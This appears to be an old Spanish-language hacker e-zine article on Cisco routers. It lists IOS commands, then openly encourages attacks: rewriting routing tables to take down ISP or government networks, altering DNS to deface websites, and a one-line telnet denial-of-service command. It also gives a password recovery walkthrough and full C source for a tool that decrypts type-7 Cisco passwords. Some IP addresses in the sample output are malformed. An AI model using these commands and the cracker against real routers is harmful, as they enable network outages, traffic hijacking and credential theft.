============================================================================= --------------------------------------------------------------------------06- -----( El Mundo de los Routers Cisco )---------------------------------RM-10] -----[ dr_fdisk^ ]-----------------------------------[dr_fdisk@ciudad.com.ar] Bueno en este articulo se va a ver expresada la forma de configuracion de un Cisco IOS, Standard. El lenguaje utilizado es muy simple asi pueden comprenderlo todos 1- Que es un router? 2- Comandos principales 3- Sacando informacion 4- El router desde el punto de vista del hacking 5- Despedida =========================================================================== *************************************************************************** [1] Que es un router? [1] *************************************************************************** Los routers son equipos utilizados por grades redes, a traves de estos equipos se puede administrar,redireccionar, enlazar,etc., las diferentes subredes que se encuentran conectadas a el. *************************************************************************** [2] Comandos principales de un Cisco [2] *************************************************************************** COMANDO FUNCION ======= ======= help muestra ayuda ? " " enable Activa privilegios para poder modificar datos clock Muestra el reloj del sistema dialer Parametros de llamadas y estadisticas hosts IP nombre de dominio, tablas de hosts, nameserver location Muestra la localizacion del sistema modemcap Muestra la base de datos del modem ppp Parametros de PPP y estadisticas rmon Estadisticas del rmon sessions Informacion sobre conecciones de Telnet snmp Estadisticas del snmp tacacs Muestra tacacs+ y estadisticas terminal Configuracion de la terminal traffic-shape Configuracion del trafico users Muestra informacion sobre usuarios version Version del hardware y estado del software show Informacion variada sobre tablas de ruteo,etc. quit Cierra la sesion hangup " " " test test [ ] [ ] local Va a modo local remote remote set Setea varios items iproute Maneja tablas de enrutamiento. dnstab Maneja tabla de DNS local slip SLIP cslip SLIP compreso (u) menu Interface de menu telnet telnet tcp tcp ping ping traceroute Tracea rutas rlogin rlogin [ -l user -ec ] [ -l usuario ] open open < numero-de-modem | slot:modem-en-slot > resume Resume coneccion remota virtual close Cerrar conneccion kill kill ************************************************************************** [3] Sacando informacion [3] ************************************************************************** Algo que nos seria de mucha utilidad podria ser las ips de las subredes que estan enlazadas al router, esto es de mucha utilidad. cisco> iproute show 192.168.1.0/24 - ie0 C 0 0 40722 27473 192.168.1.30/32 - local CP 0 0 5431 27473 204.43.23.4/32 204.43.23.4 wan54 rT 60 1 3651 2980 24.0.0.0/4 - mcast CP 0 0 0 27473 24.0.0.1/32 - local CP 0 0 0 27473 24.0.0.2/32 - local CP 0 0 246 27473 24.0.0.5/32 - local CP 0 0 0 27473 24.0.0.6/32 - local CP 0 0 0 27473 24.0.0.9/32 - local CP 0 0 0 27473 255.255.255.255/32 - ie0 CP 0 0 2 27473 Zombies: 204.43.23.6.32/32 204.43.23.6.32 wanidle0 rT 60 16 259 283 204.43.23.6.45/32 204.43.23.6.45 wanidle0 rT 60 16 12 178 Lo que sacamos aqui es muy interesante, tomemos la primera linea: IP de la RED/Mascara Interface /Clase Estadisticas generales -------------------- --- | -------------------- 192.168.1.0/24 - ie0 C 0 0 40722 27473 Otra cosa que nos podria servir es ver quien esta conectado. Para saber lo que vamos a hacer :-) cisco>show users I Session Line: Slot: Tx Rx Service Host User O ID Chan Port Data Rate Type[mpID] Address Name I 300631199 1:5 3:12 50000 31200 PPP 204.32.32.3 mary I 300631299 N/A 3:3 N/A N/A N/A N/A Answer I 300631399 N/A 3:3 N/A N/A N/A N/A Answer I 300631499 1:5 3:12 50000 31200 SLIP 204.32.32.3 andres Esto nos podria servir para localizar las IPs asignadas a los diferentes usuarios que se encuentran en una coneccion SLIP o PPP a nuestro router,etc. Podemos saber quien esta online y que modems estans conectados. Todo esto lo observamos a simple vista :X Otro comando que nos podria servir para nuestros propositos es el history, alli se haya grabado el log del sistema de comandos, podremos sacar mucha clase de informacion, por ej: las conecciones que se han realizado, los enlaces que se han modificado y todo tipo de actividad que se haya llevado a cabo en el menu de comandos. cisco> show ip alias Interface 10.2.1.2 Interface 192.182.12.1 Interface 212.291.22.255 Con esta funcion (show ip alias) nos mostrara los alias o sea las diferentes IPs que tiene el router en el que estamos conectados,, o sea en la red 212.291.22 la ip de nuestro router sera 212.291.22.255. Con esta informacion nos facilitara para movernos en las redes que esten conectadas a el. ********************************************************************* [4] El router desde el punto de vista del hacking [4] ********************************************************************* Empezemos por lo mas divertido :-) Alguna vez se han puesto a pensar que pasaria si modificamos las tablas de enrutamiento?!?, bueno podriamos llegar a causar un GRAN CAOS en toda las subredes que se hayan conectadas al router, a que me refiero con caos?, bueno si logramos obtener permisos y modificar las tablas de enrutamiento podriamos llegar a hacer que todas las redes que esten interconectadas gracias al router dejen de estarlo o sea podria causar una caida general de la RED, se han imaginado si hariamos esto en un ROUTER de un ISP grande? o en un router de una empresa? o sin ir mas lejos en un router del Gobierno o llendo mas lejos en los routers del NIC :-) Esto lo podemos realizar con el comando iproute y set, para ver mas informacion sobre estos pongan iproute ? o set ? y ahi se las imaginan, ************************************************************************ Otra cosa que podriamos llegar a hacer es algo un poco mas complejo, Lo mas interesante que se puede hacer seria reacomodar las tablas de enrutamiento a nuestro beneficio, a que me refiero con esto?!?, bueno imaginense que nuestra maquina este conectada a su red, podriamos trabajar desde nuestra estacion con mas libertades y podriamos tener acceso a toda la intranet que esta a tras del router. La forma basica de hacer esto es agregar nuestra direccion IP y Netmask correspondientes al enlace que el router tiene,esto no es muy complicado y es posible hacerlo. No voy a pasar a explicar como hacerlo pero ya saben para hacer esto tambien solo necesitaran modificar las tablas iproute ? o set ?, alli apararece todo lo que necesitaran. *************************************************************************** Modificando las tablas de DNS, heh,, esto si que podria llegar a hacer un desastre, bueno si logramos modificar las tablas de DNS podriamos redireccionar el servidor principal a otra IP, por ej, si quieren hacer un manifiesto en su pagina web, no es necesario acceder al servidor de web, sino con solo modificar las tablas de DNS lo podrian hacer muy facilmente, esto lo pueden hacer con el comando: dnstab *************************************************************************** Tirando a un cisco (DENIAL OF SERVICE ATTACK) ============================================== Algunas versiones de Cisco son vulnerables al ataque, la forma de hacerlo es muy simple: # perl -e'print 0xFF x10000' | telnet algun.cisco.de.la.red.com 2001 *************************************************************************** PASSWORD RECOVERY BUG *************************************************************************** Necesitamos estar fisicamente en el router ------------------------------------------- Aca mostramos una de las tantas formas de hacerlo : ==================================================== Son vulnerables: ---------------- Todos los Cisco 2000, 2500, 3000, 680x0-Based 4000,7000 Corriendo 10.0 o posterior en ROMs, IGS corriendo 9.1 o posterior en ROMs Vamos paso por paso: -------------------- 1. Enlazar una coneccion al router 2. Tipear "show version" y graba la configuracion. Usualemnte 0x2102 o 0x102 3. Apagar el router y luego prenderlo 4. Presiona la tecla Break en la terminal despues de los 60 de segundos de prendido, va a parecer el prompt del router ">" sin nombre. 5. Tipea "o/r0x42" en el > prompt para bootear o "o/r 0x41" para bootear desde ROMs. 6. Tipea "i" en el > prompt. El router se reiniciara pero va a ignorar la configuracion guardada. 7. Respnde "no" a todo en el setup. 8. Tipea "enable" en el "Router>" prompt. 9. Elije una de las tres opciones: o To VIEW the password type "show config." o To CHANGE the password (in case it is encrypted, for example): a. Type "config mem" to copy the NVRAM into memory. b. Type "config term" and make the changes to the configuration. conf t enable password password ctrl-z c. Type "write mem" to commit the changes. o To ERASE the config, type "write erase. 10. Tipea "config term" en el prompt. 11. Tipea "config-register 0x2102," 12. Presiona Ctrl-Z para salir del editor 13. Tipea "reload" en el prompt. Tu no necesitas memoria para guardar **************************************************************************** PASSWORDS en CISCO **************************************************************************** El Shell script origianl fue escribo por Hobbit, (hobbit@avian.org) y esta disponible en ftp://avian.org. La versiones 11.x son vulnerables. Ej : Password 7 08204E La string encriptada es 08204E. Los primeros dos digitos son usados como base dentro de la string XOR. 08 corresponde al index de la string xor. 2 es multiplacdo por 16 y luego el digito siguien (0) es agregado a este. [ == 32] 32 XOR xorstring[08] = 'a' Mueve a los siguientes dos caracteres y repite 4 * 16 = 64 64 + 14 (E) = 78 Incrementa el index dentro de la string xor 78 XOR xorstring[08] = 'b' ******************************************************************************* PROGRAMAS: ========== ciscocrack.c ---------------------------------------------------------------- #include #include char xlat[] = { 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44 }; char pw_str1[] = "password 7 "; char pw_str2[] = "enable-password 7 "; char *pname; cdecrypt(enc_pw, dec_pw) char *enc_pw; char *dec_pw; { unsigned int seed, i, val = 0; if(strlen(enc_pw) & 1) return(-1); seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0'; if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1])) return(-1); for (i = 2 ; i <= strlen(enc_pw); i++) { if(i !=2 && !(i & 1)) { dec_pw[i / 2 - 2] = val ^ xlat[seed++]; val = 0; } val *= 16; if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) { val += enc_pw[i] - '0'; continue; } if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') { val += enc_pw[i] - 'A' + 10; continue; } if(strlen(enc_pw) != i) return(-1); } dec_pw[++i / 2] = 0; return(0); } usage() { fprintf(stdout, "Uso: %s -p \n", pname); fprintf(stdout, " %s \n", pname); return(0); } main(argc,argv) int argc; char **argv; { FILE *in = stdin, *out = stdout; char line[257]; char passwd[65]; unsigned int i, pw_pos; pname = argv[0]; if(argc > 1) { if(argc > 3) { usage(); exit(1); } if(argv[1][0] == '-') { switch(argv[1][1]) { case 'h': usage(); break; case 'p': if(cdecrypt(argv[2], passwd)) { fprintf(stderr, "Error.\n"); exit(1); } fprintf(stdout, "password: %s\n", passwd); break; default: fprintf(stderr, "%s: unknow option.", pname); } return(0); } if((in = fopen(argv[1], "rt")) == NULL) exit(1); if(argc > 2) if((out = fopen(argv[2], "wt")) == NULL) exit(1); } while(1) { for(i = 0; i < 256; i++) { if((line[i] = fgetc(in)) == EOF) { if(i) break; fclose(in); fclose(out); return(0); } if(line[i] == '\r') i--; if(line[i] == '\n') break; } pw_pos = 0; line[i] = 0; if(!strncmp(line, pw_str1, strlen(pw_str1))) pw_pos = strlen(pw_str1); if(!strncmp(line, pw_str2, strlen(pw_str2))) pw_pos = strlen(pw_str2); if(!pw_pos) { fprintf(stdout, "%s\n", line); continue; } if(cdecrypt(&line[pw_pos], passwd)) { fprintf(stderr, "Error.\n"); exit(1); } else { if(pw_pos == strlen(pw_str1)) fprintf(out, "%s", pw_str1); else fprintf(out, "%s", pw_str2); fprintf(out, "%s\n", passwd); } } } ------------------------------------------------------------ *************************************************************************** [5] DESPEDIDA [5] *************************************************************************** Bueno espero que les haya gustado y sobre todo servido. Saludos, dr_fdisk^ Cualquier duda/acotacion: dr_fdisk@ciudad.com.ar RaZa MeXiCaNA TeAm -----BEGIN PGP MESSAGE----- Version: 2.6.3i owGtkcFKxDAQhmWPeYr/BdqLN0EwdLO00NalFql7UGabsQQ3DcRdXGVfyXd07EX3 JEi/8B/+PxlmmHwuhu3CxgsBv0iE6z/5fqVwTgONjQioYNChQCaunhK0EmlU6p+t VE2er2Dj07N1ry+PUMaT2/0kN707WLJpH3xKUeXB85oGKRmDUsmcqCyEaN1INkRY 3mEdwzv3+4DSjYcjuNtH9qwa2hAq7lxGNaFl7YG36aSIIHyIEngwjnDoxY2iFEFu hxlGPv+e5eV9UeJ2hTY3qE2LkzQ/TW5V1LrEUj+guENuGjPvvqC+AA== =lIZ7 -----END PGP MESSAGE-----